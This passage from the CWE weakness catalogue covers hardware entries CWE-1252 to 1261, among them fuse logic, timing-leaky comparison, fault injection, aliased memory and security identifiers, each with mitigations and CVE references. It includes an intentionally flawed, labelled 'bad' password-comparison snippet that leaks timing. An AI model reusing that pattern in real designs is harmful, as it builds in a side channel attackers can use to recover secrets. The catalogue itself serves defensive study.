MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2010

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations

Weakness ID : 1252 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.

Extended Description

CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Microcontroller IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).

Phase: Integration

If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.

Demonstrative Examples

Example 1:

MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.

Example Language: Other *(bad)*

The optional MPU is not configured.

If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1201	Core and Compute Issues	1194	2010

References

[REF-1076]ARM. "Cortex-R4 Manual". < https://developer.arm.com/ip-products/processors/cortex-m/cortex-m4 >.

[REF-1077]Intel. "MCS 51 Microcontroller Family User's Manual". < http://web.mit.edu/6.115/www/document/8051.pdf >.

[REF-1078]ARM. "Memory Protection Unit (MPU)". < https://static.docs.arm.com/100699/0100/armv8m_architecture_memory_protection_unit_100699_0100_00_en.pdf >.

CWE-1253: Incorrect Selection of Fuse Values

Weakness ID : 1253 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The logic used to determine system-security state for the product relies on values sensed from the fuses, but it relies on 'negative' logic for an un-blown fuse.

Extended Description

Fuses are often used to store secret data, including security configuration data. When not blown, a fuse is considered to store a logic 0, and, when blown, it indicates a logic 1. Fuses are generally considered to be one-directional, i.e., once blown to logic 1, it cannot be reset to logic 0. However, if the logic used to determine system-security state (by leveraging the values sensed from the fuses) uses negative logic, an attacker might blow the fuse and drive the system to an unsecure state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Authorization	Bypass Protection Mechanism Gain Privileges or Assume Identity	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Memory	
Integrity	Modify Memory Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Logic should be designed in a way that blown fuses do not put the product into an insecure state that can be leveraged by an attacker.

Demonstrative Examples

Example 1:

A chip implements secure boot and uses the sensed value of the fuse “do_secure_boot” to determine whether to perform secure boot or not. If this fuse value is “0”, the system performs secure boot. Otherwise, it does not perform secure boot. An attacker blows the "do_secure_boot" fuse to “1”. After reset, attacker loads custom bootloader, and, since the fuse value is now “1”, the system does not perform secure boot, and attacker can execute custom firmware image. Since the default, fuse-configuration value is 0, an attacker can blow it to 1 with inexpensive hardware. If the logic is reversed, then an attacker cannot reset the fuse. Note that, with specialized and expensive equipment, an attacker might be able to reset the fuse value to 0.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

References

[REF-1080]Christopher Tarnovsky. "Security Failures in Secure Devices". < https://www.blackhat.com/presentations/bh-europe-08/Tarnovsky/Presentation/bh-eu-08-tarnovsky.pdf >.

CWE-1254: Incorrect Comparison Logic Granularity

Weakness ID : 1254 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.

Extended Description

Comparison logic is used to compare a variety of objects including passwords, Message Authentication Codes (MACs), and responses to verification challenges. When comparison logic is implemented at a finer granularity (e.g., byte-by-byte comparison) and breaks in the case of a comparison failure, an attacker can exploit this implementation to identify when exactly the failure occurred. With multiple attempts, the attacker may be able to guesses the correct password/response to challenge and elevate their privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ChildOf	B	208	Observable Timing Discrepancy	488
PeerOf	B	1259	Improper Protection of Security Identifiers	1790
PeerOf	B	1261	Improper Handling of Single Event Upsets	1795

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Authorization	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

The hardware designer should ensure that comparison logic is implemented so as to compare in one operation instead in smaller chunks.

Demonstrative Examples

Example 1:

Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.

Example Language: Other *(bad)*

```
always_comb @ (posedge clk)
begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
if (entered_pass[(i*8 – 1) : i] eq golden_pass([i*8 -1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
break;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.

Example Language: *(informative)*

Either the comparison of the entire string should be done all at once or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant_access signal is set.

```
always_comb @ (posedge clk)
begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
```

```
if (entered_pass[(i*8 – 1) : i] eq golden_pass([i*8 -1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
continue;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Observed Examples

Reference	Description
CVE-2014-0984	The passwordCheck function in SAP Router 721 patch 117, 720 patch 411, 710 patch 029, and earlier terminates validation of a Route Permission Table entry password upon encountering the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0984*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

References

[REF-1079]Joe Fitzpatrick. "SCA4n00bz - Timing-based Sidechannel Attacks for Hardware N00bz workshop". < https://github.com/securelyfitz/SCA4n00bz >.

CWE-1256: Hardware Features Enable Physical Attacks from Software

Weakness ID : 1256 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Software-controllable device functionality such as power and clock management permits unauthorized corruption of bits.

Extended Description

Fault injection attacks involve strategic corruption of bits in a hardware design to achieve a desired effect such as skipping an authentication step, elevating privileges, or altering the output of a cryptographic operation. Techniques employed to flip bits include low-cost methods such as manipulation of the device clock and voltage supply as well as high-cost but more precise techniques involving lasers. It is commonly assumed that an attacker requires physical access to the device to succeed in injecting faults. This assumption is false if the device has improperly secured power management features that allow untrusted programs to manipulate clock frequency or operating voltage. For mobile devices, minimizing power consumption is critical, but these devices run a wide variety of applications with different performance requirements. Software-controllable mechanisms to dynamically scale device voltage and frequency are common features in today's chipsets and can be exploited by attackers if protections are not in place. Other features, such as the ability to write repeatedly to DRAM at a rapid rate from unprivileged software can result in bit flips in other memory locations (Rowhammer).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Power Management IP *(Prevalence = Undetermined)*

Technology : Clock/Counter IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory Modify Application Data Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Ensure proper access control mechanisms protect software-controllable features altering physical operating conditions such as clock frequency and voltage.

Demonstrative Examples

Example 1:

Suppose a hardware design implements a set of software-accessible registers for scaling clock frequency and voltage but does not block writes to these registers based on privilege level.

Observed Examples

Reference	Description
CVE-2019-11157	Plundervolt: Improper conditions check in voltage settings for some Intel(R) Processors may allow a privileged user to potentially enable escalation of privilege and/or information disclosure via local access. *https://nvd.nist.gov/vuln/detail/CVE-2019-11157*
CVE-2015-0565	NaCl in 2015 allowed the CLFLUSH instruction, making rowhammer attacks possible. *https://nvd.nist.gov/vuln/detail/CVE-2015-0565*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1206	Power, Clock, and Reset Concerns	1194	2011

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

References

[REF-1081]Kit Murdock, David Oswald, Flavio D Garcia, Jo Van Bulck, Frank Piessens and Daniel Gruss. "Plundervolt". < https://plundervolt.com/ >.

[REF-1082]Adrian Tang, Simha Sethumadhavan and Salvatore Stolfo. "CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management". < https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf >.

[REF-1083]Yoongu Kim, Ross Daly, Jeremie Kim, Ji Hye Lee, Donghyuk Lee, Chris Wilkerson, Konrad Lai and Onur Mutlu. "Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors". < https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf >.

CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions

Weakness ID : 1257 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by hardware. In this way, it could be possible that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.

Extended Description

Hardware product designs often need to implement memory protection features that enable privileged software to define isolation memory regions and access control (read/write) policies. Isolated memory regions can be defined on different memory spaces in a design (e.g. system physical address, virtual address, memory mapped IO).

Each memory cell must be mapped and assigned a system address that the core software can use to read/write to that memory. It is possible to map the same memory cell to multiple system addresses such that read/write to any of the aliased system addresses would be decoded to the same memory cell.

This is commonly done in hardware designs for redundancy and simplifying address decode logic. If one of the memory regions is corrupted or faults, then the hardware can switch to using the data in the mirrored memory region. Memory aliases can also be created in system address map if the address decoder unit ignores higher order address bits when mapping a smaller address region into the full system address.

A common security weakness that can exist in such memory mapping is that aliased memory regions could have different read/write access protections enforced by hardware such that an untrusted agent is blocked from accessing a memory address but is not blocked from accessing the corresponding aliased memory address. Such inconsistency can then be used to bypass the access protection and read or modify the protected memory.

An untrusted agent can also maliciously create memory aliases in the system address map if it is able to change the mapping of an address region or modify memory region sizes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Microcontroller IP *(Prevalence = Undetermined)*

Technology : Network on Chip IP *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	High
Integrity	Modify Memory	High
Availability	DoS: Instability	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

The same memory access control checks must be applied for any mirrored or aliased memory regions. If different memory protection units (MPU) are protecting the aliased regions, their protected range definitions and policies must be synchronized.

Phase: Architecture and Design

Phase: Implementation

The controls that allow enabling memory aliases or changing size of mapped memory regions must only be programmable by trusted software components.

Demonstrative Examples

Example 1:

For example, in a System on Chip (SoC) design the system fabric uses 16 bit addresses. An IP unit (Unit_A) has 4 kilobyte internal memory and is mapped into 16 kilobyte address range in system fabric address map.

To protect the register controls in Unit_A unprivileged software is blocked from accessing addresses between 0x0000 – 0x0FFF.

The address decoder of Unit_A masks off the higher order address bits and decodes only lower 12bits for computing the offset into the 4 kilobyte internal memory space.

Example Language: Other *(bad)*

In this design the aliased memory address ranges are these: 0x0000 – 0x0FFF, 0x1000 – 0x1FFF, 0x2000 – 0x2FFF, 0x3000 – 0x3FFF

Such that the same register can be accessed using four different addresses (e.g. 0x0000, 0x1000,0x2000,0x3000 all map to same register in Unit_A).

The system address filter only blocks access to range 0x0000 - 0x0FFF and does not block access to the aliased addresses in 0x1000 - 0x3FFF range. Thus, untrusted software can leverage the aliased memory addresses to bypass the memory protection.

Example Language: Other *(good)*

In this design the aliased memory addresses (0x1000 - 0x3FFF) could be blocked from all system software access since they are not used by software.

Alternately, the MPU logic can be changed to apply the memory protection policies to the full address range mapped to Unit_A (0x0000 - 0x3FFF).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2010

CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows

Weakness ID : 1258 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.

Extended Description

Security sensitive values, keys, intermediate steps of cryptographic operations, etc. are stored in temporary registers in the hardware. These values must be cleared whenever debug mode is entered. Since all internal registers can typically be accessed through the debug interface, an untrusted debugger might gain access to this sensitive data that would otherwise have been inaccessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Whenever debug mode is enabled, all registers containing sensitive assets must be cleared.

Demonstrative Examples

Example 1:

A cryptographic core in a SoC is used for cryptographic acceleration and implements several cryptographic operations (e.g., computation of AES encryption and decryption, SHA-256, HMAC, etc.). The keys for these operations or intermediate values are stored in registers internal to the cryptographic core. These internal registers are in the Memory Mapped Input Output (MMIO) space and are blocked from access by software and other untrusted agents on the SoC. These registers are accessible through the debug and test interface.

Example Language: Other *(bad)*

In the above scenario, registers that store keys and intermediate values of cryptographic operations are not cleared when system enters debug mode. This allows an untrusted debugger to read the contents of these registers and gain access to secret keys.

Example Language: Other *(good)*

Whenever the chip enters debug mode, all these registers containing security-sensitive data should be cleared.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1259: Improper Protection of Security Identifiers

Weakness ID : 1259 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are improperly protected.

Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be ‘read’, ‘write’, ‘program’, ‘reset’, ‘fetch’, ‘compute’, etc. Security identifiers are assigned to every agent in the System that is either capable of generating an action or receiving an action from other agent. Every agent could be assigned a unique Security Identifier based on its trust level or privileges. Since the Security Identifiers are very important to achieve security in SoC, they should be protected properly. A common weakness that can exist is that the Security Identifiers are improperly protected. Consequently, the Security Identifier can be programmed by a malicious agent (i.e., the Security Identifier is mutable) to spoof the action as if it originated from a trusted agent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
PeerOf	B	1254	Incorrect Comparison Logic Granularity	1783
PeerOf	B	1270	Generation of Incorrect Security Identifiers	1813

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IPTechnology-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Files or Directories Execute Unauthorized Code or Commands Bypass Protection Mechanism Gain Privileges or Assume Identity Modify Memory Modify Memory DoS: Crash, Exit, or Restart	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Protection of Security Identifiers must be reviewed for design inconsistency and common weaknesses. Security-Identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

For example, consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary, access controls. The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed access to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Let’s assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Identifiers are “1” and “2”.

An agent with Security Identifier “1” has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security identifier is “1”.

Example Language: Other *(bad)*

The Aux-controller could program its Security Identifier to “1” from “2”.

The SoC does not properly protect the Security Identifier of the agents, and, hence, the Aux-controller in the above example can spoof the transaction (i.e., send the transaction as if it is coming from the Main-controller to access the access-controlled, AES-Key registers) by programming its Security Identifier to that of an agent that has access to the asset.

Example Language: Other *(good)*

The SoC should protect the Security Identifiers. None of the agents in the SoC should have the ability to change the Security Identifier.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

Notes

Maintenance

This entry is still in under development and will continue to see updates and content improvements. Currently it is expressed as a general absence of a protection mechanism as opposed to a specific mistake, and the entry's name and description could be interpreted as applying to software.

CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges

Weakness ID : 1260 **Status:** Draft

Structure : Simple
Abstraction : Base

Description

The product allows address regions to overlap, which can result in the bypassing of intended memory protection.

Extended Description

Isolated memory regions and access control (read/write) policies are used by hardware to protect privileged software. Software components are often allowed to change or remap memory region definitions in order to enable flexible and dynamically changeable memory management by system software.

If a software component running at lower privilege can program a memory address region to overlap with other memory regions used by software running at higher privilege software a weakness is available for abuse. The memory protection unit (MPU) logic can incorrectly handle such an address overlap and allow the lower privilege software to read or write into the protected memory region resulting in privilege escalation attack. Address overlap weakness can also be used to launch a denial of service attack on the higher privilege software memory regions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Memory Read Memory DoS: Instability	High

Potential Mitigations

Phase: Architecture and Design

Ensure that memory regions are isolated as intended and that access control (read/write) policies are used by hardware to protect privileged software.

Phase: Implementation

For all of the programmable memory protection regions, the memory protection unit (MPU) design can define a priority scheme. For example: if three memory regions can be programmed

(Region_0, Region_1, and Region_2), the design can enforce a priority scheme, such that, if a system address is within multiple regions, then the region with the lowest ID takes priority and the access-control policy of that region will be applied. In some MPU designs, the priority scheme can also be programmed by trusted software. Hardware logic or trusted firmware can also check for region definitions and block programming of memory regions with overlapping addresses. The memory-access-control-check filter can also be designed to apply a policy filter to all of the overlapping ranges, i.e., if an address is within Region_0 and Region_1, then access to this address is only granted if both Region_0 and Region_1 policies allow the access.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider an example design with 16-bit address that has two software privilege levels: Privilege_SW and Non_privilege_SW.

To isolate the system memory regions accessible by these two privilege levels, the design

supports three memory regions: Region_0, Region_1, Region_2.

- Region_0 & Region_1: registers are programmable by Privilege_SW

- Region_2: registers are programmable by Non_privilege_SW

Each region range is defined by two 32 bit registers Address_range and Access_policy:

- Address_range[15:0]: specifies the Base address of the region

- Address_range[31:16]: specifies the size of the region

- Access_policy[0]: if set to one, allows reads from Non_privilege_SW

- Access_policy[1]: if set to one, allows writes from Non_privilege_SW

- Access_policy[0]: if set to one, allows reads from Privilege_SW

- Access_policy[1]: if set to one, allows writes from Privilege_SW

The address-protection filter checks the address range and access policies of all three regions and only allows software access if all three filters allow access.

Example Language: *(bad)*

In this design example, Non_privilege_SW cannot modify memory region and policies defined by Privilege_SW in Region_0 and Region_1. Thus, it cannot read or write the memory regions that Privilege_SW is using.

However, Non_privilege_SW can program Region_2 registers to overlap with Region_0 or Region_1, and it can also define the access policy of Region_2. Using this capability, it is possible for Non_privilege_SW to block any memory region from being accessed by Privilege_SW, including the memory regions protected by Region_0 and Region_1.

Example Language: *(good)*

In such a design, a memory region priority should be defined to ensure that the memory region defined by Non_privilege_SW in Region_2 cannot change the access policy defined in Region_0 or Region_1.

Observed Examples

Reference	Description
CVE-2008-7096	Intel Desktop and Intel Mobile Boards with BIOS firmware DQ35JO, DQ35MP, DP35DP, DG33FB, DG33BU, DG33TL, MGM965TW, D945GCPE, and DX38BT allow local administrators with ring 0 privileges to gain additional privileges and modify code that is running in System Management Mode, or access hypervisor memory as demonstrated at Black Hat 2008 by accessing certain remapping registers in Xen 3.3. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7096*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

References

[REF-1100]Christopher Domas. "The Memory Sinkhole". 2015 July 0. < https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf >.

CWE-1261: Improper Handling of Single Event Upsets

Weakness ID : 1261 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The hardware logic does not effectively handle when single-event upsets (SEUs) occur.

Extended Description

Technology trends such as CMOS-transistor down-sizing, use of new materials, and system-on-chip architectures continue to increase the sensitivity of systems to soft errors. These errors are random, and their causes might be internal (e.g., interconnect coupling) or external (e.g., cosmic radiation). These soft errors are not permanent in nature and cause temporary bit flips known as single-event upsets (SEUs). SEUs are induced errors in circuits caused when charged particles lose energy by ionizing the medium through which they pass, leaving behind a wake of electron-hole pairs that cause temporary failures. If these failures occur in security-sensitive modules in a chip, it might compromise the security guarantees of the chip. For instance, these temporary failures could be bit flips that change the privilege of a regular user to root.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
PeerOf	B	1254	Incorrect Comparison Logic Granularity	1783

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Access Control	DoS: Instability	
	Gain Privileges or Assume Identity	
	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Implement triple-modular redundancy around security-sensitive modules.

Phase: Architecture and Design

SEUs mostly affect SRAMs. For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.

Demonstrative Examples

Example 1:

This is an example from [REF-1089]. See the reference for full details of this issue.

Parity is error detecting but not error correcting.

Example Language: Other *(bad)*

Due to single-event upsets, bits are flipped in memories. As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.

Example Language: Other *(good)*

Using error-correcting codes could have avoided the restart caused by SEUs.

Example 2:

In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]

MemberOf Relationships

